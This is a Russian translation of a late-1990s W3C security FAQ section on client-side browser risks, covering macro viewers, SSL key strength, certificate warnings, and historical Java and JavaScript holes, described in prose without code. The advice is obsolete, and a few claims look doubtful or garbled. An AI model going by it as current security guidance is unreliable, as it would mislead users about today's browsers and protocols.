[W3C] Вопросы и ответы по безопасности в WWW


^ Наверх, к Содержание
<< Назад, к История сервера и частная жизнь
Вперед, к Конкретные серверы >>

9. Безопасность на стороне клиента

(Автор приносит благодарность Laura Pearlman, предоставившей много вопросов и ответов в этом разделе).

Q55: Мне предложили использовать /bin/csh в качестве программы просмотра для документов, имеющих тип application/x-csh. Правильно ли это?

Это очень неправильно. Использование любой командной оболочки ОС, процессора макрокоманд или интерпретатора командного языка в качестве программ просмотра для документов делает вас уязвимым для нападения через Web. Никогда не запускайте "вслепую" никаких программ, которые вы получаете по сети (включая программы, загруженные через FTP). Гораздо безопаснее загрузить скрипт как текстовый файл, убедиться, путем его изучения, что он не делает ничего плохого и запустить его вручную.

Это предупреждение относится также к файлам для популярных процессоров документов для персональных компьютеров. Кажется естественным определить тип "application/x-msexel-macro" для получения автоматически перерасчитываемых таблиц, однако некоторые функции языка, используемого в макрокомандах программы Exel, могут быть использованы для повреждения других таблиц и файлов. То же можно сказать о таких, казалось бы безобидных, вещах, как файлы описания стиля (style sheets) и заготовки документов (template) для текстовых процессоров! Многие из текстовых процессоров имеют встроенные возможности обработки макрокоманд. Примером того, как могут быть использованы эти возможности, является "prank macro" для Microsoft Word - макрокоманда, обладающая способностью, подобно вирусу, переходить из документа в документ.

Автор знает по крайней мере об одном человеке, который решил использовать C-shell только для выполнения скриптов, написанных им самим или людьми, которым он полностью доверяет. Он вручную проверял все адреса чтобы убедиться, что их имена не содержат расширения .csh, прежде чем загружать их. К сожалению, имя URL не является надежным способом определения его содержимого. Тип документа определяется не браузером, а Web сервером, и документ, имеющий тип application/x-csh, может легко иметь расширение .txt, или даже не иметь расширения вообще.

Короче, избегайте использования внешних программ просмотра для любых документов, которые могут содержать выполняемые команды.

Прблемы безопасности учитываются в таких командных языках, как Java и Safe Tcl, которые позволяют запретить выполнение потенциально опасных операций. Существует даже прототип "Safe Perl" ("Безопасный язык Perl"), который может быть использован как более безопасный инструмент для загрузки программ на Perl.


В56: Есть ли что-либо еще, что нужно иметь в виду относительно программ внешнего просмотра?

Да. Всегда, когда вы обновляете версию программы, используемой вами как программы внешнего просмотра, вы должны подумать о проблемах, обсуждаемых в В55, в связи с возможностями, заложенными в новую версию вашей программы. Например, если речь идет о текстовом процессоре, и в новой версии добавлен обработчик макрокоманд, то есть ли вероятность автоматического запуска скрипта при загрузке и просмотре документа?

В57: Как мне выключить сообщение "You are submitting the contents of a form insecurely" ("Вы посылаете содержимое формы ввода небезопасным путем") в программе Netscape? Следует ли обращать на него внимание?

Это сообщение означает, что содержимое формы, которую вы посылаете для обработки скриптом CGI, не зашифровано и может быть перехвачено. В настоящее время вы будете видеть это сообщение всякий раз, когда вы посылаете форму не на сервер фирмы Netscape, а на любой другой, поскольку только сервер Netscape Commerce Server может обрабатывать зашифрованные формы ввода. Вероятно, вам не стоит посылать важную информацию, такую например, как номер кредитной карты, через незашифрованную форму ввода (хотя если вы относитесь к людям, которые используют для передачи информации о кредитных картах сотовую телефонную связь, которая является еще менее защищенным способом передачи информации, то можете смело продолжать!).

Для того, чтобы выключить это сообщение, выберите пункт Preferences в меню Options программы Netscape, выберите там пункт "Images and security", и поставте метку в квадратик, обозначенный как "Warn before submitting forms insecurely" ("Предупреждать перед передачей форм небезопасным путем").


В58 Насколько надежно шифрование, используемое в протоколе SSL?

SSL использует шифрование с открытым ключом для передачи ключа сеанса связи между сервером и клиентом; этот ключ сеанса используется для шифрования данных при передаче по протоколу http (как для запросов, так и для ответов). Для каждой передачи используется новый ключ, то есть если кто-либо смог расшифровать данные одного сеанса, то это не означает, что он нашел ключ к серверу; для расшифровки следующей передачи ему понадобится столько же времени и усилий.

Серверы и браузеры Netscape используют шифрование с 40- или 128-разрядным ключом. Многие считают, что использование 40-разрядного ключа небезопасно, поскольку он может быть найден путем применения "нападения грубой силой" (т.е. путем перебора всех 2 в степени 40 возможных ключей с целью нахождения того, который использовался при шифровании). Такая возможность была продемонстрирована в 1995 году, когда французские исследователи использовали сеть рабочих станций и расшифровали сообщение, зашифрованное 40-разрядным ключем, немногим более, чем за одну неделю. Считается, что при наличии специального оборудования можно вскрыть 40-разрядный ключ в течение минут или часов. Использование 128-разрядного ключа позволяет избежать этой опасности, так как в этом случае число возможных комбинаций возрастает до 2 в степени 128. Для расшифровки путем применения грубой силы сообщения, закодированного при помощи 128-разрядного ключа при использовании современной технологии потребовалось бы время, значительно превышающее возраст вселенной. К сожалению, большинство пользователей Netscape имеют браузеры, поддерживающие только 40-разрядные ключи. Это связано с ограничениями на экспорт программ шифрования из США.

При использовании программ Netscape вы можете узнать, какой способ шифровки использован для передачи конкретного документа, посмотрев пункт "Document information" (описание документа), имеющийся в меню "File". Маленькое изображение ключа, имеющееся в нижнем левом углу окна программы, также отражает эту информацию. Цеылй ключ с 2-мя зубьями на бородке означает использование 128-разрядного ключа; целый ключ с одним зубом - 40-разрядного; а сломаный ключ означает, что шифрование не используется. Даже в том случае, если ваш браузер поддерживает 128-разрядный ключ, он может использовать 40-разрядные ключи при общении с серверами более старых версий или с серверами за пределами США и Канады.

В Microsoft Internet Explorer при использовании шифрования в нижней правой части экрана появится висячий замок. Чтобы определить, 40- или 128- разрядный ключ используется для шифрования, откройте страницу описания документа (document information page) используя пункт меню Файл->Свойства (File->Properties). Там будет написоно, используется ли "слабая" (weak) или "сильная" (strong) схема шифрования.

Chosen Ciphertext Attacks (June 1998)

В июне 1998 года исследователи из Bell Laboratories изобрели технически сложный способ атаки на стандарт шифрования с публичным ключем PKCS#1 - протокол, используемый в SSL. Атака позволяет найти ключ, использованный для шифрования одного соединения, путем посылки примерно одного миллиона тщательно подобранных запросов серверу Web и изучения ответов. Если ключ удалось обнаружить, то нападающий сможет прочесть содержимое одного сеанса связи (включая текст URL, переданный в ответ документ, а также информацию, посланную в виде cookie и заполняемых форм). Поскольку персональный ключ сервера остается не вскрытым, атака должна быть повторена для каждой сессии, которую хочет прочесть нападающий. Хотя атака требует множества попыток и может занять продолжительное время, этот способ гораздо более эффективен, чем атака грубой силой.

Поскольку способ подразумевает множество запросов к серверу, атака может быть обнаружена по возрастанию времени использования процессора, объема используемой памяти или нагрузки на сеть. Кроме того, продукты, использующие библиотеку SSLEay - такие, как C2Net Stronghold - обнаружат неожиданный рост размера файлов трассировки ошибок SSL примерно на 300 MB.

Любые серверы, использующие SSL, датированные до июня 1998 года должны рассматриваться как подверженные такой атаке. Доступны исправления для следующих продуктов:

C2Net Stronghold
http://www.c2.net/

Microsoft IIS, Microsoft Exchange
http://www.microsoft.com/security/bulletins/ms98-002.htm

Серверы Netscape: Enterprise, Proxy, Messaging и Collabra
http://help.netscape.com/products/server/ssldiscovery/index.html

Серверы Open Market
http://www.openmarket.com/security

Библиотека SSLeay
http://www.ssleay.org/announce/
Более подробную информацию можно найти в следующих источниках:
  1. CERT (ftp://ftp.cert.org/pub/cert_advisories/CA-98.07.PKCS)
  2. Bell Labs (http://www.bell-labs.com/) (ожидается)
  3. RSA Data Security (http://www.rsa.com/rsalabs/pubs/PKCS/)

Персональные сертификаты

Начиная с 1996 года, компания VeriSign распространяла "персональные сертификаты" для использования с браузерами Microsoft и Netscape. Персональный сертификат - это уникальный идентификатор, позволяющий подтверждать Вашу личность Web-серверу или другому пользователю. Имея персональный сертификат, Вы можете посылать и получать зашифрованную электронную почту, используя систему S/MIME, идентифицировать лицо, пославшее Вам сообщение, или идентифицировать себя при обращении к серверу.

Персональные сертификаты редко используются при работе с Web. Основная область их использования - корпоративные сети (Intranet), где сертификаты дают возможность контроля доступа к внутрикорпоративной информации на сервере. Однако многие считают, что в ближайшем будущем индивидуальные сертификаты будут широко использоваться как электронная подпись при финансовых операциях в Internet.

Насколько надежны персональные сертификаты? В этой системе используется шифрование с открытым ключем. Как описано в разделе В26: SSL, надежность этой схемы шифрования полностью зависит от сохранности личного ключа пользователя. Когда Вы заказываете персональный сертификат, личный ключ автоматически генерируется и сохраняется на диске Вашего компьютера. В ходе этого процесса у Вас будет запрошен пароль, который используется для шифрования личного ключа перед записью на диск. Это уменьшает риск перехвата Вашего ключа в случае несанкционированного доступа к компьютеру напрямую или через сеть.

Увы, эта схема не может быть признана полностью надежной, поскольку личный ключ защищен ровно на столько, на сколько надежны программы, им манипулирующие. Как описано в последующих разделах, браузеры содержат множество известных и потенциальных лазеек в системе безопасности. Если одна из этих лазеек была использована для установки на Вашем компьютере новых программ или для модификации Вашего браузера, то личный ключ может быть перехвачен после того, как он был расшифрован. После этого ключ можно использовать для доступа к серверам Web, посылки почты от вашего имени и, возможно в недалеком будущем - для подписания юридических документов от Вашего лица.

В дополнение к недостаткам инфраструктуры программного обеспечения, ряд консультантов выражают обеспокоенность тем способом шифрования личных ключей, который используется в Microsoft Internet Explorer. Проблемы противоречивы и различны для разных версий IE. В одних случаях, проблема состоит в низкой надежности шифрования с 40-разрядным ключем - как было показано, эта схема может быть взломана путем атаки "грубой силой". В других случаях, личный ключ оказывается подвержен быстрому взлому с использованием "словарной атаки". Подробнее с проблемой можно ознакомиться в статье, написанной Peter Gutmann (pgut001@cs.auckland.ac.nz ):

http://www.cs.auckland.ac.nz/~pgut001/pubs/breakms.txt

В59 При попытке просмотра защищенной страницы мой браузер сообщает, что сертификат узла не соответствует серверу (the site certificate doesn't match the server) и спрашивает меня, хочу ли я продолжить. Следует ли мне продолжать просмотр страницы?

Имя компьютера, на котором установлен сервер, является неизменяемой частью сертификата узла. Если реальное имя не соответствует имени в сертификате, браузер это заметит и выдаст предупреждение. Иногда эта проблема возникает при случайной ошибке в конфигурации сервера, однако может также быть результатом того, что сертификат был украден и используется для того, чтобы вас обмануть. В большинстве случаев имеет смысл прекратить работу с документом.

Иногда вы можете встретить похожее сообщение, извещающее о том, что срок действия сертификата истек. Это может свидетельствовать о том, что вебмастер не обновил сертификат в срок, или же о том, что сертификат был украден и используется не по назначению. В этом случае также лучше всего прекратить работу.


В60 При попытке просмотра защищенной страницы мой браузер сообщает, что он не распознает организацию (authority), выдавшую сертификат, и спрашивает меня, хочу ли я продолжить. Следует ли мне продолжать просмотр страницы?

Браузеры выпускаются со встроенными списками организаций, которым можно доверять в части подтверждения идентичности узлов WWW. Несколько лет назад существовала только одна такая организация, корпорация VeriSign, однако теперь их десятки. Вы можете узнать, какие организации распознает ваш браузер, следующим путем:
  1. В Netscape Navigator 1.0-3.02, выберите Options->Security Preferences->Site Certificates
  2. В Netscape Navigator 4.X, выберите иконку Security.
  3. В Internet Explorer, выберите View->Options->Security->Sites...
Браузер покажет список сертификатов CA - сертификатов, используемых утверждающими организациями для "подписывания" сертификатов индивидуальных узлов Web. Браузеры Netscape и Microsoft позволяют просматривать содержимое сертификатов, включать и выключать их, устанавливать новые и удалять имеющиеся сертификаты.

Когда узел Web предъявляет браузеру сертификат, подписанный какой-либо организацией, браузер попытается найти сертификат этой организации в своем списке. Если сертификат найден, то работа будет продолжена. Если окажется, что сертификата нет, то браузер выдаст предупреждение о том, что организация, выдавшая сертификат, неизвестна.

В случае, когда это происходит, ваши возможности зависят от используемого браузера. Если вы используете браузеры Netscape, то у вас есть возможность изучить содержимое сертификата и подпись выдавшей его организации. Если вы решили продолжить, то вы можете принять сертификат либо только для текущего сеанса связи, либо и для последующих соединений. Если вы принимаете сертификат, то он будет установлен в браузере среди других сертификатов CA, и соединение будет установлено. Internet Explorer не дает такой возможности. Для доступа к узлу вам будет необходимо достать сертификат утверждающей организации и установить его. Как это делается - мы обсудим ниже.

Безопасно ли принимать сертификат, выданный неизвестной организацией? Если вы используете старый браузер, то возможно, что организация существует, но начала работать уже после того, как был выпущен ваш браузер. Существует, однако, возможность того, что сертификат выдан липовой организацией - ничто не мешает узлу WWW получить соответствующие программы и выпускать свои сертификаты. Никогда не принимайте сертификаты вслепую! Сперва изучите его и обратитесь в выдавшую организацию напрямую (по телефону), если у вас возникают вопросы. Если вам не удается легко определить, как войти в контакт с организацией, то скорее всего этой организации не существует.

Вы можете добавлять новые утверждающие организации в список вашего браузера. Вы можете сделать это, открыв URL, указывающий на сертификат организации. Браузер выдаст предупреждение о том, что вы собираетесь установить новый сертификат CA, и даст вам возможность отказаться от этого. Если вы продолжите, то новый сертификат будет установлен, и новая организация появится в списке вашего браузера. Все узлы, представляющие сертификат, подписанный этой организацией, будут теперь распознаваться вашим браузером, и соединения SSL будут устанавливаться с ними.

По соображениям безопасности, новые сертификаты CA следует устанавливать с большой осторожностью. Никогда не принимайте сертификат CA если вы не знаете точно, что делаете, и если вы не знаете заранее, что организации можно доверять. Так, многие компании создают внутренние утверждающие организации для выдачи сертификатов, используемых на корпоративных серверах intranet. Если ваш сотрудник дает вам дискету и просит установить содержащийся на ней сертификат, вы можете чуствовать себя спокойно, устанавливая его. Однако, если диалог установки CA неожиданно появляется при просмотре сайтов Internet, незамедлительно прекращайте работу и сообщайте об этом администратору узла.


В61: Насколько скрыты мои обращения к документам WWW?

Читайте раздел (7) выше. Информация о всех запросах сохраняется на сервере. Ваше имя обычно не записывается, но IP адрес и имя компьютера как правило фиксируются. Кроме того, некоторые серверы сохраняют также адрес страницы, которую вы просматривали в тот момент, когда обратились с новым запросом к серверу. Если сервер поддерживается корректно, то ваша информация будет использована только для получения статистики и в целях отладки. Однако, на некоторых узлах файлы трассировки могут быть оставлены доступными для местных пользователей, или даже использоваться для составления списков адресов для рассылки.

Содержимое запросов, для передачи которых использовался метод GET, попадает в файлы трассировки, поскольку в этом случае данные для запроса входят в состав адреса документа. Данные вашего запроса не записываются в случае, если для его передачи используется метод POST (что обычно происходит при заполнении форм ввода). Если вы не хотите, чтобы ключевые слова, которые были использованы вами при поиске, попали в какие-нибудь доступные списки, проверте, какой метод - GET или POST - используется в скрипте для поиска. Простейший метод состоит в использовании фиктивных ключевых слов при первом запросе. Если введенные слова появляются в адресе (URL) полученного ответа, то они могут появляться и в каком-нибудь файле трассировки на удаленном сервере.

Пары сервер/браузер, использующие шифрование данных - такие, как Netscape, шифруют запросы URL. Более того, зашифрованные запросы не появляются в файлах трассировки, поскольку для их передачи используется метод POST.


В62: В чем состоит разница между Java и JavaScript?

Java и JavaScript, хотя и обладают похожими именами, представляют собой разные вещи. Java - это язык, разработанный фирмой Sun Microsystems. Скрипты на языке Java компилируются и хранятся на сервере в компактной форме. Документы HTML ссылаются на мини-программы, называемые "Java-апплеты", через элементы <APPLET>. Браузеры, поддерживающие элементы <APPLET> (Netscape Navigator 2.0, Microsoft Internet Explorer 3.0 и HotJava фирмы Sun), загружают с сервера откомпилированную программу и запускают ее.

JavaScript - это набор расширений языка HTML, разработанный Netscape Corporation и используемый в Netscape Navigator версии 2.0 и более поздних, а также в Microsoft Internet Explorer начиная с версии 3.0. Это интерпретируемый язык, предназначенный для управления браузером; он позволяет открывать и закрывать окна, управлять элементами форм ввода, изменять настройки браузера, загружать и запускать апплеты Java.

Хотя JavaScript похож на Java по синтаксису, они отличаются по многим другим параметрам.


В63: Есть ли известные лазейки в защите в Java?

Программы на Java, поскольку они выполняются на той машине, где запущен браузер, а не на машине с сервером, подвергают риску больше клиента, чем сервер. Есть ли здесь основание для беспокойства со стороны пользователя?

Для повышения защищенности машины пользователя в Java встроен ряд ограничений. В процессе выполнения скрипт на языке Java находится под контролем объекта, называющегося "менеджер безопасности" (Security Manager). Менеджер безопасности обычно не позволяет апплету выполнять произвольные системные команды, загружать системные библиотеки или обращаться к системным устройствам, таким, как диски. Кроме того, запись и чтение файлов ограничены директорием, определяемым пользователем (браузер HotJava позволяет назначить этот директорий, а Netscape полностью запрещает операции с файлами).

Апплеты ограничены также в возможности установки сетевых соединений: они могут обращаться по сети только к тому серверу, с которого были загружены. Это важно по причинам, обсуждаемым ниже.

Наконец, апплет может либо обращаться к сети, либо обращаться к диску, но менеджер безопасности не позволяет делать и то и другое. Это ограничение введено для предотвращения возможности для апплета считать частный файл пользователя с диска на клиентской машине и передать его на сервер.

Лазейки в защите

Увы, вскоре после выпуска, в Java был найден ряд лазеек в защите, связанных с ошибками в реализации. Хотя большинство серьезных ошибок в текущих версиях исправлено, остается в наличии по крайней мере одна серьезная лазейка, и много оснований для беспокойства вызывает способ построения самого языка. В статье Java Security: From HotJava to Netscape and Beyond, опубликованной в рамках симпозиума IEEE по безопасности 1996 года, Drew Dean, Edvard Felten и Dan Wallach приводят подробный разбор лазеек в системе безопасности Java и делают следующие выводы:
Мы заключаем, что система Java в том виде, в котором она сейчас существует, не может быть легко сделана безопасной. Видимо, серьезная переработка языка, формата байт-кода и управляющего механизма являются необходимыми шагами на пути к построению высоконадежной системы.

В свете нынешних проблем с Java, безопаснее всего выключать поддержку Java (через пункт меню Security Preferences в Netscape) за исключением тех случаев, когда вы работаете с хорошо известным и надежным сервером. В Netscape Navigator версий 2.0-3.02, это можно сделать, убрав метку с пункта "Java" в Options->Network Preferences->Languages. В Internet Explorer 3.02, снимите метку с "Enable Java Programs" в окне View->Options->Security->Active Content.

Труднее выключить Java в версиях 4.0 Navigator и Internet Explorer. В Netscape Navigator 4.0 выберите в меню Edit->Preferences, затем выберите пункт "Advanced". Снимите метку с пункта "Enable Java".

В IE 4.0, выберите View->Internet Options->Security, выберите Internet Zone, затем - "Custom". Теперь нажмите кнопку "Settings..." и найдите пункт Java settings. Выберите "Disable Java."

Вот некоторые конкретные лазейки, имеющиеся в реализации Java, используемой в различных версиях браузеров Netscape и Internet Explorer:

Возможность выполнения произвольных машинных команд

22 марта 1996 года Drew Dean (mailto:ddean@CS.Princeton.EDU) и Ed Felton (felten@CS.Princeton.EDU) из Princeton Dept of Computer Science сообщили, что им удалось использовать ошибку в Java для написания апплета, уничтожающего файл на диске пользователя. Двоичный файл библиотеки сперва сохраняется на диске пользователя через механизм кэширования Netscape, после чего интерпретатор Java его загружает и выполняет.

Эта ошибка присутствует в версиях Netscape 2.0 и 2.01, она была исправлена в версиях 2.02 и 3.0x.

Более подробную информацию по этой ошибке можно найти по адресу:

   http://www.cs.princeton.edu/sip

Подверженность нападению с целью подавления

Апплеты могут истощать системные ресурсы, такие как память или процессорное время. Это может происходить как результат ошибки программиста или в результате сознательных действий, направленных на замедление работы компьютера до состояния невозможности использования его. Апплеты, выполняющиеся на одном браузере, не изолированы друг от друга. Один аплет может легко обнаружить присутствие другого и взаимодействовать с ним, что дает интересную возможность для производителей создавать апплеты, которые инициируют ошибочные действия в апплетах конкурентов.

Если апплет ведет себя подозрительно, то закрытие страницы, с которой он был получен, может быть недостаточно для его выключения. В этом случае может быть необходимо выключить браузер целиком.

Возможность сетевого соединения с произвольной машиной

версия 2.0 браузера Netscape Navigator содержит еще одну ошибку, на этот раз в части ограничения возможности апплетов связываться с произвольными компьютерами. Эта ошибка была исправлена в последующих версиях, и вам настоятельно рекомендуется обновить вашу версию Netscape, если вы еще не сделали этого.

Предполагается, что апплеты могут связываться только с сервером, с которого они получены. Однако, в начале марта 1996 года Steve Gibbons (a href="mailto:sgibbo@amexdns.amex-trs.com" mailto:sgibbo@amexdns.amex-trs.com) и независимо от него Drew Dean (ddean@CS.Princeton.EDU) нашли лазейку, позволяющую апплетам соединяться с любой машиной в Intrnet. Это серьезная проблема: с момента запуска на машине пользователя, апплет может соединяться с любым компьютером в локальной сети пользователя, даже если локальная сеть защищена брандмауэром. Многие локальные сети организованы таким образом, что местным машинам разрешен доступ ко внутренним ресурсам в сети, закрытым для внешнего мира. В качестве простого примера, апплет может открыть соединение с внутренним сервером новостей организации, получить свежие статьи из внутренней телеконференции, и передать их на удаленный сервер.

Пользователи Unix, знакомые с командами rsh, rlogin и rcp, поймут, что эта возможность подвергает риску системы, доверяющие друг другу достаточно для того, чтобы разрешать удаленное выполнение этих команд. Эта ошибка дает также возможность сбора информации о топологии и организации имен в локальных сетях, защищенных брандмауэрами.

Эта лазейка использует доверие Java к системе поддержки имен доменов (DNS) для подтверждения права доступа к определенному серверу. Злоумышленник, используя собственный сервер DNS, может создать фиктивную запись в системе DNS и убедить таким образом систему, что она может соединяться с машиной, доступ к которой должен быть запрешен.

Возможность обхода менеджера безопасности при помощи байт-кода, введенного вручную.

5 марта 1997 года собственный контролер безопасности в JavaSoft нашел ошибку в системе проверки байт-кода Java. Эта ошибка теоретически может быть использована для обхода менеджера безопасности в Java и выполнения запрещенных операций. Неизвестно, была ли эта ошибка использована на практике. Ошибка присутствует в JDK 1.1, Microsoft Internet Explorer версии 3.01 и более ранних, и в Netscape Navigator 3.01 и более ранних. Исправления были предоставлены фирмам, имеющим лицензии на библиотеки Java и должны быть включены в более поздние версии указанных программ.

Дополнительная информация по безопасности в применении к Java может быть получена по адресу:

  http://java.sun.com/sfaq/

В64: Извесны ли проблемы с безопасностью в JavaScript?

JavaScript также имеет богатую историю лазеек в безопасности. В отличие от Java, лазейки в которой грозят изменением данных на диске пользователя, лазейки в JavaScript обычно угрожают приватной иформации пользователя. Хотя многие ошибки были исправлены, постоянно находятся новые.

Возможность перехвата адреса e-mail и других установок пользователя (февраль 1998)

Версии Netscape Navigator 4.0 - 4.04 содержат лазейку, связанную с доступом программ на JavaScript к настройкам программы. Настройки, хранимые в файле preferences.js в директории Netscape, включают информацию личного характера, такую как Ваш адрес e-mail, имена файлов с письмами, идентификаторы серверов почты и новостей. Кроме того, часто Ваши пароли для доступа к почтовому и FTP серверам хранятся в этом же файле. Чтобы посмотреть, что еще там есть, можно открыть этот файл текстовым редактором и прочесть его содержимое.

Web страница с программой на JavaScript может загрузить этот файл и отправить его содержимое на сервер. Это может быть использовано для получения почтового адреса пользователя и информации о конфигурации его сети. Наибольший риск состоит в возможности получения пароля для доступа к почтовому серверу. Поскольку этот пароль часто совпадает с паролем входа в локальную сеть организации, то тем самым открывается дорога для проникновения в сеть.

Ошибке подвержены все версии Netscape Navigator до 4.04 включительно. По сообщениям, проблема исправлена в версии 4.05. Пожалуйста, обновите вашу версию как можно скорее. Конечно, выключение JavaScript также решает проблему, и защищает от других лазеек, скорее всего имеющихся в системе JavaScript.

Эта ошибка была обнаружена французским консультантом по программному обеспечению Fernand Portela. На его сервере можно найти более подробную информацию:

http://www.mygale.org/~nando

Перехват файлов на машине клиента (16 октября 1997)

Microsoft Internet Explorer 4.0 для Windows 95/NT подвержен нападению, при котором оператор удаленного узла Web может получать доступ к любому тексту, изображению или файлу HTML, расположенному на вашей машине или файлу на сетевом файловом сервере. Брандмауэры не препятствуют нападению, и нападению подвержены даже браузеры, работающие в режиме "высокой степени защиты" (High Security). Версии IE 4.0 для Macintosh видимо не содержат этой лазейки.

Эта лазейка, обнаруженная немецким консультантом Ralf Hueskes, и известная под названием "Freiburg attack", использует JavaScript для создания невидимой рамки (frame) размером 1x1 пиксел. Пока пользователь просматривает документ, программа на JavaScript, выполняемая в невидимом окне, сканирует локальные и сетевые диски на машине пользователя и ищет файлы с распространенными именами, после чего может передать найденные файлы на любую машину в Internet. Прграмма не может повреждать или удалять файлы на машине пользователя. Исправления, выпущенные Microsoft, можно найти на URL:

http://www.microsoft.com/msdownload/ieplatform/ie4patch/ie4patch.htm

Подробную информацию можно получить на

http://www.jabadoo.de/press/ie4_us_old.html

Возможность наблюдения за действиями пользователя (29 августа 1997)

Ряд родственных ошибок в JavaScript дают возможность получать информацию о том, какие страницы посещает пользователь, перехватывать документы и пересылать их на какой-нибудь сервер в Internet. Некоторые лазейки позволяют получась содержимое заполняемых пользователем форм, перехватывать cookies и получать информацию о другом содержимом просматриваемых страниц. Это может произойти даже в том случае, если пользователь обращается к "защищенным" страницам, зашифрованным с использованием SSL. Это может произойти даже в том случае, если пользователь обращается к страницам в локальной сети, защищенной брандмауэром. Правда, данные и программы на пользовательской машине не могут быть изменены, и опасность состоит только в утечке информации.

Большинство этих лазеек используют возможность JavaScript открывать невидимые окна. Поскольку пользователь не видит окна, то он не знает, что скрипт продолжает работу даже после того, как закрыта страница, с которой он был загружен. Другие варианты открывают новое окно браузера и провоцируют пользователя на просмотр следующих страниц через это окно.

Хотя все время идет работа по исправлению ошибок, овые варианты использования этих возможностей открываются постоянно под разными красивыми именами - "Bell labs bug", "Singapore bug", "Santa Barbara bug." Было выпущено такое большое количество исправлений и вариантов браузеров, что их трудно отследить. Точно известно, что лазейки содержится в следующих браузерах:

Более подробную информацию по проблеме можно найти на узлах, перечисленных ниже. Ищите там исправления и обновленные версии.

Утечка информации через рамки (frames) (10 июля 1997)

Схожий тип лазеек использует обмен информацией между рамками одного окна браузера. Чтобы осознать проблему представте себе ситуацию, когда разные рамки одного окна используются разными узлами Web. Очевидно, что возможность программы на JavaScript, загруженной с одного сервера, просматривать содержимое страниц, содержащих конфиденциальную информацию и загружаемых с другого сервера, крайне нежелательна.

JavaScript оставляет открытыми некоторые лазейки. JavaScript не может получить адрес документа, полученного с другого сервера, но может иметь доступ к следующей информации:

Это значит, что страница на JavaScript может обманом заставить вас оставить окно открытым и молчаливо наблюдать за вашей активностью, собирая информацию о местонахождении картинок в документах, которые вы просматриваете. И не так уж важно, что адреса самих документов остаются недоступными - большинство изображений в WWW хранятся там же, где сами документы.

Демонстрацию этой лазейки можно найти по адресу: http://www.genome.wi.mit.edu/~lstein/crossframes. Хотя эта страница собирает информацию об изображениях только из одного документа, имейте в виду, что возможно перехватывать все адреса просматриваемых вами картинок и загружать их на удаленный сервер.

Эта лазейка содержится в Netscape Navigator 3.0, 3.01 и Netscape Communicator 4.01. Она закрыта в версиях 4.02 и 3.03. Она не затрагивает Navigator 2.X и Internet Explorer.

Лазейка для загрузки файла (25 июня 1997г.)

Ошибка в Netscape Navigator в части обработки форм ввода, хотя и не имеет прямого отношения к JavaScript, позволяет тем не менее программе на JavaScript заставить браузер передать на сервер любой файл с диска пользователя. Пользователь не узнает о том, что передача файла имела место, если у него не отмечен пункт "Warn before Submitting a Form Insecurely" ("Предупреждать о небезопасной передаче форм ввода") в окне диалога Security Options. Даже если этот пункт отмечен, предупреждение не появится, если удаленный сервер использует SSL или если используется "безопасное" соединение.

Для использования этой ошибки удаленный сервер должен заранее знать имя файла на машине пользователя. Тем не менее, проблема остается серьезной, поскольку большое количество важной информации, включая системные пароли, хранится в файлах с хорошо известными именами.

Netscape Navigator 2.0, 3.0, 3.01 и Netscape Communicator 4.0 - все содержат эту ошибку. Netscape Communicator 4.01, выпущенный 21 июня, содержит исправление этой ошибки. Версия 3.02 Netscape Navigator тоже не должна содержать этой ошибки. Последние версии браузеров можно найти на сервере Netscape.

Старые лазейки

Следующие проблемы имеются в Netscape версий 2.0 и 2.01. Они были обнаружены и опубликованы John Robert LoVerso из OSF Research Institute (mailto:loverso@osf.org):
  1. Программы на JavaScript могут заставить пользователя передать файл с его локального или сетевого диска на любую машину в Internet. Хотя пользователю необходимо нажать кнопку для передачи файла, эта кнопка легко может быть замаскирована под чно-нибудь безобидное. Ни до, ни после передачи не появится каких-либо сообщений о том, что произошло. Это большая опасность для систем, использующих файл паролей для контроля доступа, поскольку украденный файл паролей может быть легко взломан.
  2. Программы на JavaScript могут получать списки содержимого директориев на локальном диске пользователя или на сетевых дисках. Это угрожает как личности пользователя, так и безопасности системы, поскольку знание об организации машины является большим подспорьем на пути проникновения в нее.
  3. Программы на JavaScript могут перехватывать URL, которые посещает пользователь, и пересылать их на удаленный сервер. Передача требует вмешательства пользователя, но, как и в первом примере, вмешательство может быть скрыто от пользователя.
  4. Программы на JavaScripts могут заставить Netscape Navigator посылать сообщения e-mail без вмешательства со стороны пользователя и без его информирования. Это может быть использовано для выяснения адреса e-mail пользователя.
Описания этих ошибок можно найти на сервере:
   http://www.osf.org/~loverso/javascript/

Эти ошибки в JavaScript были исправлены в Netscape Navigator версии 3.0 и более поздних. Исключением является лазейка с e-mail адресом, которая была закрыта в версии 2.01, но опять появилась в версии 3.0. Она опять была закрыта в версии 3.01, которая предлагает в диалоге Network & Security Options (настройки сети и безопасности) предупреждать вас перед отсылкой электронной почты от вашего имени. Microsoft Internet Explorer, поддерживающий диалект JavaScript, имеет сходный пункт в окне Options (параметры).

Заключение

JavaScript содержит лазейки в безопасности. Многие из них были обнаружены. Несомненно, существуют еще неизвестные. Те, кого это беспокоит, могут полностью выключать использование JavaScript. В Netscape Navigator 2.X-3.X это можно сделать сняв метку в Options->Network Preferences->Languages. В Microsoft Internet Explorer 3.X нужно снять метку с квадратика с обманным названием Run ActiveX scripts (выполнять скрипты ActiveX) в View->Options->Security.

В Microsoft Internet Explorer 4.0 новое понятие "зоны безопасности" (Security Zones), призванное сделать Internrt безопаснее, на самом деле делает задачу отключения JavaScript более трудной, поскольку язык остается активным при выборе "высокой степени защиты" (High Security). Для его выключения следует пойти в меню View->Internet Options->Internet Security и выбрать "Internet Zone". Теперь нужно выбрать переключатель, отмеченный "Custom", и нажать расположенную рядом кнопку "Settings...". Затем нужно выключить "Active Scripting" в конце списка.

В Netscape Navigator 4.0 следует следовать процедуре, приведенной для выключения Java.


В65: Что такое ActiveX? Есть ли здесь риск?

ActiveX - это технология, разработанная Microsoft Corporation для распространения программного обеспечения через Internet. Как и апплеты Java, управляющие элементы ("control") ActiveX могут быть включены в документы Web, где они обычно выглядят как "разумные" интерактивные рисунки. Существует определенное колиество доступных управляющих элементов для Microsoft Internet Explorer (в настоящее время - единственный браузер, который их поддерживает), в том числе - элемент прокрутки, фоновый звуковой генератор, управляющий элемент для запуска апплетов Java. В отличие от Java, платформо-независимого языка программирования, управляющие элементы ActiveX распространяются как двоичные файлы, и должны быть специально откомпилированы для каждой машины и операционной системы.

